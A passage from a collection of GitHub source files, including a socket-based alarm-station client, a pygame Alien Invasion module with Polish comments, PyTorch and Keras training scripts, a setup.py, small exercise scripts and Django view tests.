str(ALARM2)\n except FileNotFoundError:\n print(\"Something went wrong when reading the file {}\".format(FILENAME))\n break\n\n # print data station from file\n print(\"---------------------------\")\n print(\"\"\"\n Station ID: {}\n Alarm 1 status: {:1}\n Alarm 2 status: {:1}\\n\"\"\".format(ID, ALARM1, ALARM2))\n\n print(\"---------------------------\")\n\n try:\n with socket.socket() as client_socket:\n print(\"connecting to server at {}:{}...\".format(*SERVER_ADDRESS))\n client_socket.connect(SERVER_ADDRESS)\n\n print(\"connected. sending message...\")\n msg = data\n client_socket.send(msg.encode())\n\n print(\"waiting for response...\")\n response = client_socket.recv(BUFFER_SIZE)\n print('server sent back: \"{}\"'.format(response.decode()))\n except socket.error as error:\n print(\"Caught exception socket.error : {}\".format(error))\n exit(1)\n except ConnectionAbortedError or ConnectionResetError:\n print(\"problem in the server\\nget look if the server off\")\n exit(0)\n\n time.sleep(sleepSecond)\nexcept IndexError or BrokenPipeError as error:\n print(\"the Error is: {}\".format(error))\n exit(1)\nexcept ValueError as valueError:\n print(\"error in the value --> {}\".format(valueError))\n exit(1)\nexcept ConnectionAbortedError or ConnectionResetError:\n print(\"problem in the server\\nget look if the server off\")\n exit(0)\nexcept KeyboardInterrupt:\n print(\"good bay\")\n\n","repo_name":"yonatanIdan/python-project","sub_path":"client/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":2395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"43093879831","text":"import sys\nfrom time import sleep\n\nimport pygame\nfrom alien import Alien\nfrom bullet import Bullet\n\n\ndef check_events(ai_settings, screen, stats, sb, play_button, ship, aliens, bullets):\n \"\"\"Funkcja nasłuchuje zdarzeń podczas pętli.\"\"\"\n for event in pygame.event.get():\n if event.type == pygame.QUIT: # Jeżeli gracz naciśnie X w prawym górnym rogu, następuje zamknięcie okna\n sys.exit()\n elif event.type == pygame.MOUSEBUTTONDOWN: # Jeżeli gracz naciśnie przycisk myszki, wykonuje\n mouse_x, mouse_y = pygame.mouse.get_pos() # Sprawdzenie pozycji x, y kursora\n # Przekazujemy wartości x, y kursora do funckji\n check_play_buttons(ai_settings, screen, stats, sb, play_button, ship, aliens, bullets, mouse_x,\n mouse_y)\n elif event.type == pygame.KEYDOWN: # Jeżeli zostanie wciśnięty klawisz\n check_keydown_events(event, ai_settings, screen, ship, bullets)\n elif event.type == pygame.KEYUP: # Jeżeli klawisz zostanie zwolniony\n check_keyup_events(event, ai_settings, screen, ship, bullets)\n\n\ndef check_play_buttons(ai_settings, screen, stats, sb, play_button, ship, aliens, bullets, mouse_x, mouse_y):\n \"\"\"Rozpoczęcie nowej gry po kliknięciu przycisku - jeżeli funkcja wykryje, kliknięcie kursora w miejscu wyświetlenia\n przycisku Gra oraz obecnie gra jest nieakwywna, następuje zresetowanie danych statystycznych gry ora opróżnienie\n grup aliens i bullets, następnie zmiana wartości game_active z False na True\"\"\"\n button_clicked = play_button.rect.collidepoint(mouse_x, mouse_y) # Przechowywanie wartości True or False\n if button_clicked and not stats.game_active:\n pygame.mouse.set_visible(False)\n stats.reset_stats() # Wyzerowanie danych statystycznych gry\n stats.game_active = True\n\n # Wyzerowanie obrazów tablicy wyników\n sb.prep_score()\n sb.prep_high_score()\n sb.prep_level()\n\n # Usunięcie zawartości list aliens i bullets\n aliens.empty()\n bullets.empty()\n\n # Utworzenie nowej floty i wyśrodkowanie statku\n create_fleet(ai_settings, screen, ship, aliens)\n ship.center_ship()\n\n\ndef check_keydown_events(event, ai_settings, screen, ship, bullets):\n \"\"\"Funkcja odpowiedzialna za obsługę eventów związanych z wciśnięciem klawisza.\"\"\"\n if event.key == pygame.K_RIGHT: # Sprawdza jaki klawisz został wciśniety\n ship.moving_right = True # Zmienia wartość moving_right w obiekcie klasy Ship() na True\n elif event.key == pygame.K_LEFT: # Sprawdza jaki klawisz został wciśniety\n ship.moving_left = True # Zmienia wartość moving_left w obiekcie klasy Ship() na True\n elif event.key == pygame.K_SPACE: # Sprawdza jaki klawisz został wciśnięty\n fire_bullet(bullets, ai_settings, screen, ship) # Wywołanie funkcji odpowiedzialnej za wystrzelenie pocisku\n elif event.key == pygame.K_q:\n sys.exit()\n\n\ndef check_keyup_events(event, ai_settings, screen, ship, bullets):\n \"\"\"Funkcja odpowiedzialna za obsługę eventów związanych ze zwolnieniem klawisza.\"\"\"\n if event.key == pygame.K_RIGHT: # Sprawdza który klawisz został zwolniony\n ship.moving_right = False # Zmienia wartość moving_right w obiekcie klasy Ship() na False\n elif event.key == pygame.K_LEFT: # Sprawdza który klawisz został zwolniony\n ship.moving_left = False # Zmienia wartość moving_left w obiekcie klasy Ship() na False\n\n\ndef update_screen(ai_settings, screen, stats, sb, ship, bullets, aliens, play_button, background):\n \"\"\"Uaktualnienie obrazów na ekranie i przejście do nowego ekranu.\"\"\"\n screen.fill(ai_settings.bg_color) # Wypełnienie tła przy użyciu klasy obiektu klasy Settings()\n screen.blit(background.image, background.rect)\n\n # Ponowne wyświetlenie wszystkich pocisków pod warstwą ship i aliens\n for bullet in bullets:\n # bullet.draw_bullet() # Tworzy obiekt przy użyciu metody draw_bullet, klasy Bullet()\n screen.blit(bullet.image, bullet.rect) # Tworzy obiekt wypełniony przez wskazany image\n ship.blitme() # Wyświetlenie statku na ekranie, \"nad\" kolorem tła oraz nad pociskami\n aliens.draw(screen) # Wyświetlenie obcego na ekranie\n sb.show_score() # Wyświetlenie informacji o punktacji\n # Sprawdzenie czy gra nie jest aktywny, jeżeli nie jest to wyświetla przycisk Gra\n if not stats.game_active:\n play_button.draw_button()\n\n pygame.display.flip() # Wyświetlenie ostatnio zmodyfikowanego ekranu - odświeżanie\n\n\ndef update_alien(aliens):\n \"\"\"Uaktualnienie położenia każdego obcego.\"\"\"\n aliens.update()\n\n\ndef update_bullets(ai_settings, screen, stats, sb, ship, bullets, aliens):\n \"\"\"Uaktualnienie pocisków.\"\"\"\n bullets.update()\n\n # Usunięcie pocisków znajdujących się poza ekranem - y <= 0\n for bullet in bullets.copy(): # Wewnątrz pętli for nie należy usuwać elementów listy dlatego używamy copy()\n if bullet.rect.bottom <= 0: # Jeżeli dolna krawędź bullet <= 0\n bullets.remove(bullet)\n\n check_bullet_alien_collisions(ai_settings, screen, stats, sb, ship, bullets, aliens)\n\n\ndef check_bullet_alien_collisions(ai_settings, screen, stats, sb, ship, bullets, aliens):\n '''Reakcja na kolizję pocisku z obcym.\n Wywołanie metody update dla grupy bullets wywołuje update dla każdego sprite'a w grupie.\n collisions - powoduje przeprowadzenie iteracji przez wszystkie pociski oraz przez wszystkich obcych, jeżeli\n funkcja wykryje kolizję, któregokolwiek z elementów bullets lub aliens to dzięki kolejnym argumentom ustawionym\n na True, usunie element z bullet i alien, jeżeli ustawimy argument na False, element nie zostanie usunięty.'''\n collisions = pygame.sprite.groupcollide(bullets, aliens, True, True)\n\n if collisions:\n for aliens in collisions.values():\n stats.score += ai_settings.alien_points * len(aliens)\n sb.prep_score()\n check_high_score(stats, sb)\n\n if len(aliens) == 0: # Sprawdzany ilość obcych na ekranie\n bullets.empty() # Usuwamy wszystkie pociski\n ai_settings.increase_speed() # Przyśpieszenie gry po zestrzeleniu wszystkich obcych\n create_fleet(ai_settings, screen, ship, aliens) # Tworzymy nową flotę\n\n # Inkrementacja wartości poziomu\n stats.level += 1\n sb.prep_level()\n\n\ndef fire_bullet(bullets, ai_settings, screen, ship):\n \"\"\"Funkcja odpowiedzialna za wystrzelenie pocisku jeżeli nie przekroczono określonego limitu.\"\"\"\n if len(bullets) < ai_settings.bullets_allowed: # Ograniczenie ilości posiadanych pocisków do 3\n new_bullet = Bullet(ai_settings, screen, ship) # W zmiennej tworzy nowy obiekt klasy Bullet()\n bullets.add(new_bullet) # Dodaje stworzony obiekt do grupy pocisków bullets\n\n\ndef get_number_aliens_x(ai_settings, alien_width):\n \"\"\"Funkcja odpowiedzialna za obliczenia pola przeznaczonego do wyświetlania obcych, szerokość ekranu odjąć margines\n z lewej i margines z prawej które wynoszą szerokość obcego z każdej strony.\"\"\"\n available_space_x = ai_settings.screen_width - (2 * alien_width) # 1080\n\n # Ilość obcych znajdujących się w obszarze available_space_x wynosi pole wyznaczone do wyświetlenia podzielone przez\n # szerokość statków razy dwa, każdy statek musi mieć odstęp jednego statku\n number_aliens_x = int(available_space_x / (2 * alien_width)) # 9\n\n return number_aliens_x\n\n\ndef get_number_rows(ai_settings, ship_height, alien_height):\n \"\"\"Funkcja odpowiedzialna za ustalenie ile rzędów obych zmieści się na ekranie.\"\"\"\n # Ustalenie dostępnego miejsca - wysokość ekranu - wysokość 3 obcych - wysokość statku gracza\n available_space_y = ai_settings.screen_height - (3 * alien_height) - ship_height\n\n # Ilość rzędów to ilość dostępnego miejsca podzielona przez dwukrotną wysokość statku, wliczono odstęp o wartości\n # wysokości jednego obcego\n number_rows = int(available_space_y / (2 * alien_height))\n\n return number_rows\n\n\ndef create_alien(ai_settings, screen, aliens, alien_number, row_number):\n # Utworzenie obcego i ustalenie liczby obcych, którzy zmieszczą się w rzędzie.\n # Odległość między poszczególnymi obcymi jest równa szerokości obcego\n alien = Alien(ai_settings, screen)\n alien_width = alien.rect.width\n alien.x = alien_width + 2 * alien_width * alien_number\n alien.rect.x = alien.x\n # Zmieniamy wartość współrzędnej Y obcego tak aby znajdował się w odległości jednego obcego od górnej krawędzi\n # ekranu, a każdy rząd rozpoczynał się dwie wysokości obcego poniżej poprzedniego rzędu:\n # 2 * wysokość obcego * row_number\n alien.rect.y = alien.rect.height + 2 * alien.rect.height * row_number\n aliens.add(alien)\n\n\ndef create_fleet(ai_settings, screen, ship, aliens):\n \"\"\"Funkcja odpowiedzialna z autworzenie floty obcych.\"\"\"\n alien = Alien(ai_settings, screen) # Utworzenie obcego\n number_aliens_x = get_number_aliens_x(ai_settings, alien.rect.width) # Sprawdzenie ilu obcych zmieści się w rzędzie\n number_rows = get_number_rows(ai_settings, ship.rect.height, alien.rect.height) # Ustalenie ile rzędów dla obcych\n\n for row_number in range(number_rows):\n for alien_number in range(number_aliens_x):\n create_alien(ai_settings, screen, aliens, alien_number, row_number)\n\ndef check_fleet_edges(ai_settings, aliens):\n \"\"\"Odpowiednia reakcja na to kiedy obcy dotrze do krawędzi ekanu.\"\"\"\n for alien in aliens.sprites():\n if alien.check_edges(): # Jeżeli któryś obcy znajdzię się przy prawej krawędzi ekranu trzeba zmienić direction\n change_fleet_direction(ai_settings, aliens)\n break\n\ndef change_fleet_direction(ai_settings, aliens):\n \"\"\"Przesunięcie całej floty w dół i zmiana kierunku, w którym się prousza\"\"\"\n for alien in aliens.sprites():\n alien.rect.y += ai_settings.fleet_drop_speed\n ai_settings.fleet_direction *= -1\n\ndef update_aliens(ai_settings, stats, sb, screen, aliens, ship, bullets):\n \"\"\"Sprawdzenie czy flota znajduje się przy bocznej krwędzi ekranu, następnie uaktualnienie położenia wszystkich\n obcych, sprawdzenie czy obcy nie zderzył się ze statkiem gracza lub z dolną krawędzią ekranu.\"\"\"\n check_fleet_edges(ai_settings, aliens) # Sprawdzenie położenia floty\n aliens.update() # Uaktualnienie floty\n if pygame.sprite.spritecollideany(ship, aliens): # Wykrywanie kolizji między obcymi a statkiem gracza\n ship_hit(ai_settings, stats, sb, screen, ship, aliens, bullets)\n check_aliens_bottom(ai_settings, stats, sb, screen, ship, aliens, bullets) # Sprawdzenie czy obcy nie dotarł do dolnej\n # krawędzi ekranu\n\n\ndef ship_hit(ai_settings, stats, sb, screen, ship, aliens, bullets):\n \"\"\"Reajcha na uderzenie obcego w statek.\"\"\"\n if stats.ships_left > 0:\n stats.ships_left -= 1 # Zmniejszego wartości przechowywanej w ships_left - jedno żytko mniej ;)\n sb.prep_ships()\n # Usunięcie wszystkich obcych oraz pocisków\n aliens.empty()\n bullets.empty()\n\n # Wyzerowanie ustawień dotyczących gry - wartości prędkości wracają do początkowych\n ai_settings.initialize_dynamic_settings()\n\n # Utworzenie nowej floty i wyśrodkowanie statu\n create_fleet(ai_settings, screen, ship, aliens)\n ship.center_ship()\n\n # Pauza\n sleep(0.5)\n else:\n stats.game_active = False\n pygame.mouse.set_visible(True)\n\n\ndef check_aliens_bottom(ai_settings, stats, sb, screen, ship, aliens, bullets):\n \"\"\"Sprawdzenie, czy którykolwiek obcy dotarł do dolnej krawędzi ekranu.\"\"\"\n screen_rect = screen.get_rect()\n for alien in aliens:\n if alien.rect.bottom >= screen_rect.bottom:\n ship_hit(ai_settings, stats, sb, screen, ship, aliens, bullets)\n break\n\n\ndef check_high_score(stats, sb):\n \"\"\"Sprawdzenie, czy mamy nowy najlepszy wynik osiągnięty dotąd w grze\"\"\"\n if stats.score > stats.high_score:\n stats.high_score = stats.score\n sb.prep_high_score()","repo_name":"smougie/alien-invaders","sub_path":"game_functions.py","file_name":"game_functions.py","file_ext":"py","file_size_in_byte":12317,"program_lang":"python","lang":"pl","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"29892930799","text":"'''Train CIFAR10 with PyTorch.'''\nfrom __future__ import print_function\n\nimport torch\nimport pickle\nimport numpy as np\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nimport torch.backends.cudnn as cudnn\n\nimport torchvision\nimport torchvision.transforms as transforms\n\nimport os\nimport argparse\n\nfrom models.resnet import ResNet18\nfrom utils import progress_bar\n\n\nparser = argparse.ArgumentParser(description='PyTorch CIFAR10 Training')\nparser.add_argument('--lr', default=0.1, type=float, help='learning rate')\nparser.add_argument('--resume', '-r', action='store_true', help='resume from checkpoint')\nparser.add_argument('--onlyclass', default=1, type=int, help='Only training one class')\nargs = parser.parse_args()\n\ndevice = 'cuda' if torch.cuda.is_available() else 'cpu'\nbest_acc = 0 # best test accuracy\nstart_epoch = 0 # start from epoch 0 or last checkpoint epoch\n\n# Data\nprint('==> Preparing data..')\ntransform_train = transforms.Compose([\n transforms.RandomCrop(32, padding=4),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),\n])\n\ntransform_test = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),\n])\n\ntrainset = torchvision.datasets.CIFAR10(root='./data', train=True, download=True, transform=transform_train)\ntrainloader = torch.utils.data.DataLoader(trainset, batch_size=128, shuffle=True, num_workers=2)\n\ntestset = torchvision.datasets.CIFAR10(root='./data', train=False, download=True, transform=transform_test)\ntestloader = torch.utils.data.DataLoader(testset, batch_size=100, shuffle=False, num_workers=2)\n\nclasses = ('plane', 'car', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck')\nfilepath = \"./embedding/class_\"\n\n# Model\nprint('==> Building model..')\n# net = VGG('VGG19')\nnet = ResNet18()\n# net = PreActResNet18()\n# net = GoogLeNet()\n# net = DenseNet121()\n# net = ResNeXt29_2x64d()\n# net = MobileNet()\n# net = MobileNetV2()\n# net = DPN92()\n# net = ShuffleNetG2()\n# net = SENet18()\nnet = net.to(device)\nif device == 'cuda':\n net = torch.nn.DataParallel(net)\n cudnn.benchmark = True\n\nif args.resume:\n # Load checkpoint.\n print('==> Resuming from checkpoint..')\n assert os.path.isdir('checkpoint'), 'Error: no checkpoint directory found!'\n checkpoint = torch.load('./checkpoint/ckpt.t7')\n net.load_state_dict(checkpoint['net'])\n best_acc = checkpoint['acc']\n start_epoch = checkpoint['epoch']\n\ncriterion = nn.CrossEntropyLoss()\n# Training\ndef train(epoch, curr_class, old_classes):\n print('\\nEpoch: %d' % epoch)\n net.train()\n train_loss, loss_zero = 0, 0\n correct, correct_zero = 0, 0\n total, total_zero = 0, 0\n\n if(len(old_classes) == 0):\n params = net.parameters()\n else :\n params = list(net.layer4.parameters()) + list(net.linear.parameters())\n \n optimizer = optim.SGD(params, lr=args.lr, momentum=0.9, weight_decay=5e-4)\n\n for old_class in old_classes:\n with open(filepath + str(old_class) + \".pkl\", 'rb') as file:\n unpickler = pickle._Unpickler(file)\n unpickler.encoding = 'latin1'\n contents = unpickler.load()\n \n X, Y = np.asarray(contents['data'], dtype=np.float32), np.asarray(contents['labels'])\n X, Y = Variable(torch.from_numpy(X), requires_grad=False), Variable(torch.from_numpy(Y), requires_grad=False)\n\n optimizer.zero_grad()\n outputs = net(X, old_class=True)\n loss = criterion(outputs, Y)\n loss.backward()\n optimizer.step()\n\n if(old_class == 0):\n loss_zero += loss.item()\n total_zero += Y.size(0)\n _, predicted = outputs.max(1)\n correct_zero += predicted.eq(Y).sum().item()\n\n with open(\"./logs/train_zero_loss.log\", \"a+\") as lfile:\n lfile.write(str(loss_zero / total_zero))\n lfile.write(\"\\n\")\n\n with open(\"./logs/train_zero_acc.log\", \"a+\") as afile:\n afile.write(str(correct_zero / total_zero))\n afile.write(\"\\n\")\n\n print(\"Trained for Previous Classes : {}\".format(old_classes))\n\n contents = dict()\n\n for batch_idx, (inputs, targets) in enumerate(trainloader):\n inputs, targets = inputs.to(device), targets.to(device)\n inputs, targets = inputs.cpu().numpy(), targets.cpu().numpy()\n idx = np.where(targets == curr_class)\n inputs, targets = inputs[idx], targets[idx]\n np_targets = targets\n inputs, targets = Variable(torch.from_numpy(inputs), requires_grad=False), Variable(torch.from_numpy(targets), requires_grad=False)\n\n optimizer.zero_grad()\n activs, outputs = net(inputs, old_class=False)\n activs = activs.data.cpu().numpy()\n loss = criterion(outputs, targets)\n loss.backward()\n optimizer.step()\n\n if('data' in contents.keys()):\n contents['data'] = np.concatenate((contents['data'], activs))\n contents['labels'] = np.concatenate((contents['labels'], np_targets))\n else :\n contents['data'] = activs\n contents['labels'] = np_targets\n\n train_loss += loss.item()\n _, predicted = outputs.max(1)\n total += targets.size(0)\n correct += predicted.eq(targets).sum().item()\n\n with open(\"./logs/train_loss_{}.log\".format(curr_class), \"a+\") as lfile:\n lfile.write(\"{}\\n\".format(train_loss / total))\n\n with open(\"./logs/train_acc_{}.log\".format(curr_class), \"a+\") as afile:\n afile.write(\"{}\\n\".format(correct / total))\n\n progress_bar(batch_idx, len(trainloader), 'Loss: %.3f | Acc: %.3f%% (%d/%d)' % (train_loss/(batch_idx+1), 100.*correct/total, correct, total))\n\n with open(filepath + str(curr_class) + \".pkl\", \"wb+\") as file:\n pickle.dump(contents, file, protocol=pickle.HIGHEST_PROTOCOL)\n\n\ndef test(epoch, curr_class):\n global best_acc\n net.eval()\n test_loss = 0\n correct = 0\n total = 0\n with torch.no_grad():\n\n for batch_idx, (inputs, targets) in enumerate(testloader):\n inputs, targets = inputs.cpu().numpy(), targets.cpu().numpy()\n idx = np.where(targets == curr_class)\n inputs, targets = inputs[idx], targets[idx]\n np_targets = targets\n inputs, targets = Variable(torch.from_numpy(inputs), requires_grad=False), Variable(torch.from_numpy(targets), requires_grad=False)\n inputs, targets = inputs.to(device), targets.to(device) \n\n _, outputs = net(inputs, old_class=False)\n loss = criterion(outputs, targets)\n\n test_loss += loss.item()\n _, predicted = outputs.max(1)\n total += targets.size(0)\n correct += predicted.eq(targets).sum().item()\n\n with open(\"./logs/test_loss_{}.log\".format(curr_class), \"a+\") as lfile:\n lfile.write(str(test_loss / total))\n lfile.write(\"\\n\")\n\n with open(\"./logs/test_acc_{}.log\".format(curr_class), \"a+\") as afile:\n afile.write(str(correct / total))\n afile.write(\"\\n\")\n\n progress_bar(batch_idx, len(testloader), 'Loss: %.3f | Acc: %.3f%% (%d/%d)'\n % (test_loss/(batch_idx+1), 100.*correct/total, correct, total))\n\n # Save checkpoint.\n acc = 100.*correct/total\n if acc > best_acc:\n print('Saving..')\n state = {\n 'net': net.state_dict(),\n 'acc': acc,\n 'epoch': epoch,\n }\n if not os.path.isdir('checkpoint'):\n os.mkdir('checkpoint')\n torch.save(state, './checkpoint/ckpt.t7')\n best_acc = acc\n\n\nfor i in range(10):\n old_classes_arr = [j for j in range(i)]\n for epoch in range(start_epoch, start_epoch+200):\n train(epoch, i, old_classes_arr)\n test(epoch, i)\n","repo_name":"dhruvramani/ContinualLearningExperiments","sub_path":"pytorch-cifar/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"9198994919","text":"import shutil\r\nimport os\r\n\r\nfrom distutils.command.clean import clean\r\nfrom setuptools import setup, find_packages\r\n\r\n\r\nclass CleanCommand(clean):\r\n \"\"\"Post-installation for installation mode.\"\"\"\r\n def run(self):\r\n path = os.path.dirname(__file__)\r\n shutil.rmtree(os.path.join(path, 'dist'), ignore_errors=True)\r\n shutil.rmtree(os.path.join(path, 'build'), ignore_errors=True)\r\n shutil.rmtree(\r\n os.path.join(path, 'subways.egg-info'), ignore_errors=True\r\n )\r\n\r\n\r\nsetup(\r\n name='subways',\r\n version='0.1.0.dev7',\r\n packages=find_packages(),\r\n url='https://github.com/midoriiro/subways/',\r\n license=open('LICENSE').read(),\r\n author='midoriiro',\r\n author_email='contact@smartsoftwa.re',\r\n maintainer='midoriiro',\r\n maintainer_email='contact@smartsoftwa.re',\r\n description='A Python module that’s provide some basic utilities.',\r\n long_description=open('README.rst').read(),\r\n tests_require=['tox'],\r\n install_requires=[],\r\n cmdclass={\r\n 'clean': CleanCommand,\r\n },\r\n classifiers=[\r\n 'Development Status :: 1 - Planning',\r\n 'Intended Audience :: Developers',\r\n 'License :: OSI Approved',\r\n 'Natural Language :: English',\r\n 'Operating System :: OS Independent',\r\n 'Programming Language :: Python :: 3.4',\r\n 'Programming Language :: Python :: 3.5',\r\n 'Programming Language :: Python :: 3 :: Only',\r\n 'Topic :: Software Development :: Libraries'\r\n ],\r\n)\r\n","repo_name":"midoriiro/subways","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"14787703944","text":"code = str(input(\"enter yes or no if you want to continue this program \"))\nemp = 0\nstart = str\ntpay = 0\nagain = str(\"yes\")\nif code == \"yes\":\n while code == \"yes\" and again == \"yes\":\n lname = str(input(\"enter employee last name \"))\n hours = int(input(\"enter the hours worked \"))\n pay = int(input(\"enter the employees payrate \"))\n if hours > 40:\n ot = hours - 40\n else:\n hours = hours\n ot = 0\n gpay = (hours * pay)+(ot*(pay*1.5))\n tpay = gpay + tpay\n emp = emp + 1\n print(lname, \"your gross pay is $\", gpay, \"the total employee pay is $\", tpay, \"number of employees = \", emp)\n again = str(input(\"would you like to enter another employee yes or no \"))\n \n\n\nelse:\n print(\"bye\")\n\n","repo_name":"Seanpatel16/CIS106-Sean-Patel","sub_path":"PS5P4.py","file_name":"PS5P4.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"11657579451","text":"from moviepy.editor import AudioFileClip\n\n\ndef _audio(\n bgm_src: str,\n):\n # === ファイルの読み込み\n audio = AudioFileClip(bgm_src)\n\n if not audio:\n print(\"Source Not Found\")\n return None\n\n return audio\n\n\ndef mergeAudio(clip, source):\n audio = _audio(source)\n if audio:\n clip = clip.set_audio(audio)\n\n return clip\n","repo_name":"ryofujimotox/moviepy_clipper","sub_path":"src/moviepy_clipper/audio.py","file_name":"audio.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"38414519928","text":"with open('C://py_ege//17.txt', 'r') as f:\n nums = [int(i) for i in f]\n max_elem = max([i ** 2 for i in nums if abs(i) % 10 == 3])\n\ncount = []\n\nfor n in range(1, len(nums)):\n n1 = abs(nums[n - 1]) % 10\n n2 = abs(nums[n]) % 10\n\n if (n1 == 3 and n2 != 3) or (n2 == 3 and n1 != 3):\n if (nums[n - 1] ** 2 + nums[n] ** 2) >= max_elem:\n count.append(nums[n - 1] ** 2 + nums[n] ** 2)\n\nprint(len(count), max(count))","repo_name":"Undervis/ege_py","sub_path":"m17.py","file_name":"m17.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"25782107764","text":"import numpy as np\nfrom keras import layers\nfrom keras import models\nfrom keras import optimizers\nfrom keras.utils import to_categorical\nfrom matplotlib import pyplot as pl\nfrom datetime import datetime\nfrom keras import regularizers\nfrom keras import callbacks\nfrom keras.utils import plot_model\n\n\nnow = datetime.now()\ntime_in = now.strftime(\"%H:%M:%S\")\n\nIMAGES = 0\nLABELS = 1\nINPUT_SHAPE_X = 64\nINPUT_SHAPE_Y = 64\nOUTPUT_NUM = 30\nEPOCH = 1000\nLR = 0.0001\nBATCH_SIZE = 128\nregu = 0.001\n\ntrain_images = []\ntrain_labels = []\ntest_images = []\ntest_labels = []\n\n\ntrain_data = np.load(\"images_arrays/TRAINAUDfromMelSp.npy\", allow_pickle=True)\ntest_data = np.load(\"images_arrays/TESTAUDfromMelSp.npy\", allow_pickle=True)\n\nfor i in range(0,10):\n np.random.shuffle(train_data)\n np.random.shuffle(test_data)\n\nLENGHT_TRAIN = len(train_data)\nLENGHT_TEST = len(test_data)\n\nkernel_size = (3,3)\ndef get_model():\n model = models.Sequential()\n model.add(layers.Conv2D(8,kernel_size ,padding='same',input_shape=(INPUT_SHAPE_X, INPUT_SHAPE_Y, 1),activation='relu',kernel_initializer = 'he_uniform'))\n model.add(layers.BatchNormalization())\n model.add(layers.MaxPooling2D((2, 2)))\n\n model.add(layers.Conv2D(16, kernel_size,padding='same',activation='relu',kernel_initializer = 'he_uniform'))\n model.add(layers.BatchNormalization())\n model.add(layers.MaxPooling2D((2,2)))\n\n model.add(layers.Conv2D(16, kernel_size,padding='same',activation='relu',kernel_initializer = 'he_uniform'))\n model.add(layers.BatchNormalization())\n model.add(layers.MaxPooling2D((2,2)))\n\n model.add(layers.Conv2D(32, kernel_size,padding='same', activation='relu',kernel_initializer = 'he_uniform'))\n model.add(layers.BatchNormalization())\n model.add(layers.MaxPooling2D((2, 2)))\n\n model.add(layers.Conv2D(48, kernel_size,padding='same', activation='relu',kernel_initializer = 'he_uniform'))\n model.add(layers.BatchNormalization())\n model.add(layers.MaxPooling2D((2, 2)))\n\n\n model.add(layers.Conv2D(56, kernel_size,padding='same',activation='relu',kernel_initializer = 'he_uniform'))\n model.add(layers.BatchNormalization())\n model.add(layers.MaxPooling2D((2,2)))\n\n\n model.add(layers.Flatten())\n model.add(layers.Dense(128 ,kernel_regularizer=regularizers.l2(regu),kernel_initializer = 'he_uniform'))\n model.add(layers.LeakyReLU())\n model.add(layers.Dropout(0.5))\n model.add(layers.Dense(64 ,kernel_regularizer=regularizers.l2(regu),kernel_initializer = 'he_uniform'))\n model.add(layers.LeakyReLU())\n\n\n model.add(layers.Dense(OUTPUT_NUM, activation='softmax'))\n\n model.compile(optimizer=optimizers.Adam(learning_rate=LR), loss='categorical_crossentropy',metrics=['accuracy'])\n return model\n\n\nfor i in range(0, LENGHT_TRAIN):\n train_images.append(train_data[i][IMAGES])\n train_labels.append(train_data[i][LABELS])\n\ntrain_images = np.array(train_images)\ntrain_labels = np.array(train_labels)\n\n\nfor i in range(0, LENGHT_TEST):\n test_images.append(test_data[i][IMAGES])\n test_labels.append(test_data[i][LABELS])\n\ntest_images = np.array(test_images)\ntest_labels = np.array(test_labels)\nprint(test_images.shape)\ntrain_labels = to_categorical(train_labels)\ntest_labels = to_categorical(test_labels)\n\ntrain_images = train_images.reshape((LENGHT_TRAIN, INPUT_SHAPE_X , INPUT_SHAPE_Y,1))\ntrain_images = train_images.astype('float32') / 255\ntest_images = test_images.reshape((LENGHT_TEST, INPUT_SHAPE_X , INPUT_SHAPE_Y,1))\ntest_images = test_images.astype('float32') / 255\n\nprint(test_images.shape)\n\nmodel = get_model()\n\ncallback = callbacks.EarlyStopping(monitor='val_loss',verbose=2,patience=3)\n\nhistory = model.fit(x=train_images, y=train_labels, epochs=EPOCH, batch_size=BATCH_SIZE, shuffle=True,validation_split=0.12,callbacks=[callback])\n\n\ntest_loss, test_acc = model.evaluate(test_images, test_labels)\n\nprint(\"LOSS=\", test_loss, \"\\t\", \"ACC=%{}\".format(test_acc * 100))\n\npre = model.predict([test_images])\n\ntest_images = test_images.astype('float32') * 255\ntest_images = test_images.astype('uint8')\ntest_images = test_images.reshape((LENGHT_TEST, INPUT_SHAPE_X, INPUT_SHAPE_Y))\n\n#file = \"LR-\"+str(LR)+\"-ACC-\"+str(test_acc*100)+\"-batch-\"+str(BATCH_SIZE)+\"-regu-\"+str(regu)+\"INP-\"+str(INPUT_SHAPE_X)+\".png\"\n#plot_model(model, to_file=file, show_shapes=True, expand_nested=True, dpi=420)\n\n#model.save(file.replace('.png', '_MODEL'), overwrite=True)\n\nnow = datetime.now()\ntime_out = now.strftime(\"%H:%M:%S\")\n\nprint(\"TIME IN:{}\\tTIME OUT:{}\".format(time_in, time_out))\n\n","repo_name":"abduxg/word-recognization","sub_path":"src/LearnPhotos.py","file_name":"LearnPhotos.py","file_ext":"py","file_size_in_byte":4516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"17794179605","text":"\"\"\"\nTest webapp/views.py\n\"\"\"\nfrom purbeurre import wsgi # noqa\n\nfrom django.contrib.auth.models import AnonymousUser, User\nfrom django.test import RequestFactory, TestCase\n\nfrom webapp.views import (\n index,\n selection,\n result,\n save,\n myfood,\n del_sub\n)\n\n\nclass TemplateTest(TestCase):\n\n def test_index(self):\n\n request = RequestFactory().get(\"/index\")\n view = index(request)\n\n assert view.status_code == 